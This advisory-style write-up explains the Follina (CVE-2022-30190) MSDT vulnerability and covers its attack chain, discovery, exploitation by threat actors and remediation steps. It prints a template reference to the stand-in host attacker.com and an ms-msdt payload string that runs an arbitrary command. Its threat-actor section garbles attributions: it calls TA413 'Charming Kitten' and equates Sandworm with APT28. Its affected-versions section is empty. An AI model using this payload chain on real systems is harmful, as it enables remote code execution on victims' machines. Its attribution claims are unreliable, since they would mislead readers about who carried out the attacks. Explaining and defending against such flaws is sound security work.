CVE-2022-30190

Overview

CVE-2022-30190, nicknamed "Follina," is a remote code execution vulnerability in the Windows Microsoft Support Diagnostic Tool (MSDT). When Microsoft Word opens a document containing an external template reference to an attacker-controlled server, Word fetches an HTML file that triggers the ms-msdt:// URL protocol handler. This invokes MSDT with attacker-controlled arguments, allowing arbitrary command execution — without macros, without Protected View bypass, and without administrative privileges.

Follina was actively exploited as a zero-day for at least six weeks before Microsoft released a patch, with confirmed campaigns by Chinese APT groups (including TA413/Charming Kitten) and Russian threat actors. Its significance lies in bypassing the standard macro-based phishing defenses that organizations had spent years building: the attack works even when macros are entirely disabled.

What Is Microsoft Support Diagnostic Tool (MSDT)?

MSDT is a Windows built-in utility that collects diagnostic information and sends it to Microsoft support. It registers the ms-msdt:// URI scheme, allowing Windows to invoke MSDT from URLs and protocol handlers in applications. MSDT can execute PowerShell commands as part of its diagnostic collection — a capability that becomes a remote code execution primitive when it can be triggered with attacker-controlled arguments.

Affected Versions

Patched in the June 14, 2022 Patch Tuesday update. The vulnerability exists in Windows MSDT itself; Office is the delivery vehicle.

Technical Details

Root Cause: MSDT URL Handler Invoked via Office External Template Reference

Microsoft Word supports external template references — a feature allowing a document to load a template from a URL when opened. The attack chain:

1. A malicious .docx or .rtf file contains a reference to an attacker-controlled URL in its word/_rels/document.xml.rels file:

   <Relationship Type=".../attachedTemplate" Target="http://attacker.com/evil.html" TargetMode="External"/>
   

2. Word fetches the external resource from the attacker's server. The server returns an HTML file.

3. The HTML file contains an ms-msdt:// URL, invoking the MSDT protocol handler:

   <script>window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_SelectProgram=NotListed IT_BrowseForFile=/../../$(cmd /c 'calc.exe')/.exe\""; </script>
   

4. Windows invokes MSDT with the attacker-supplied parameters. MSDT's PCWDiagnostic troubleshooter processes the parameters and executes the embedded command via PowerShell.

The code execution occurs as the user running Word — typically the logged-in user — with no macro execution, no macro warning dialog, and no bypass of Protected View required (for the .docx variant; the .rtf variant bypasses Protected View entirely).

Why Macros-Off Doesn't Prevent This

Traditional Office phishing attacks require the user to enable macros, which Microsoft and IT security teams have worked for years to prevent via Group Policy, user training, and default-block settings. Follina uses a completely different code path — Office's template fetching feature — which is not controlled by macro settings. An organization that has successfully eliminated macro-enabled document risk is still fully exposed to Follina via normal .docx and .rtf files.

RTF Variant: No Click Required

The .rtf variant of the attack is particularly dangerous: RTF files invoke the external template loading automatically when previewed in Windows Explorer's Preview Pane — without the user opening the file. Simply navigating to a folder containing the malicious .rtf triggers execution.

Attack Characteristics

Discovery

The technique was first observed in the wild in a malicious document from April 12, 2022 (later attributed to Sandworm/APT28 targeting users in Russia/Belarus). nao_sec (Japanese security researcher) discovered and tweeted about a suspicious Word document sample on May 27, 2022. Kevin Beaumont (security researcher, formerly of Microsoft) quickly analyzed the technique, recognized its significance, published a detailed breakdown, and coined the name "Follina" — after the postal code 0438 embedded in the malicious document sample. Microsoft acknowledged the zero-day on May 30, 2022, publishing a registry workaround while working on a patch.

Exploitation Context

Follina was exploited by multiple threat actors during its zero-day window (April–June 2022):

• TA413 / Charming Kitten (Chinese APT): Targeted Tibetan organizations using Follina-embedded .docx files
• Sandworm / APT28 (Russian GRU): Earliest known exploitation (April 2022) targeting Belarus/Russia-adjacent targets
• Qakbot operators: Delivered Qakbot malware via Follina as an initial access technique
• Various ransomware affiliates: Incorporated Follina into phishing campaigns for initial access
• State-sponsored campaigns: Multiple government advisories noted nation-state use
• Ransomware use: Confirmed (ransomwareUse: true) — used as initial access in ransomware deployment chains

Remediation

Immediate Workaround (Pre-Patch)

Disable the MSDT URL handler by deleting the registry key:

reg delete HKEY_CLASSES_ROOT\ms-msdt /f

To restore after patching: reg add HKEY_CLASSES_ROOT\ms-msdt /ve /d "URL:ms-msdt" /f

Recommended Actions

1. Apply the June 14, 2022 Patch Tuesday update for all affected Office and Windows versions. Verify via winver and Windows Update history.

2. Apply the registry workaround above immediately if patching is delayed.

3. Disable the Preview Pane in Windows Explorer to prevent RTF auto-exploitation: View → Show/hide → Preview pane (off). Group Policy: User Configuration\Administrative Templates\Windows Components\File Explorer\Turn off Preview Pane.

4. Block Office from fetching external templates at the network layer — proxy/firewall rules preventing Office processes from fetching .html files from external URLs can break the delivery chain.

5. Disable MSDT entirely via Group Policy if your organization has no support use case: Computer Configuration\Administrative Templates\System\Troubleshooting and Diagnostics\Microsoft Support Diagnostic Tool\Turn off MSDT interactive communication with support provider.

6. Train users: Follina is delivered via documents. Standard phishing awareness (treat unexpected documents from external senders with suspicion) remains the first line of defense.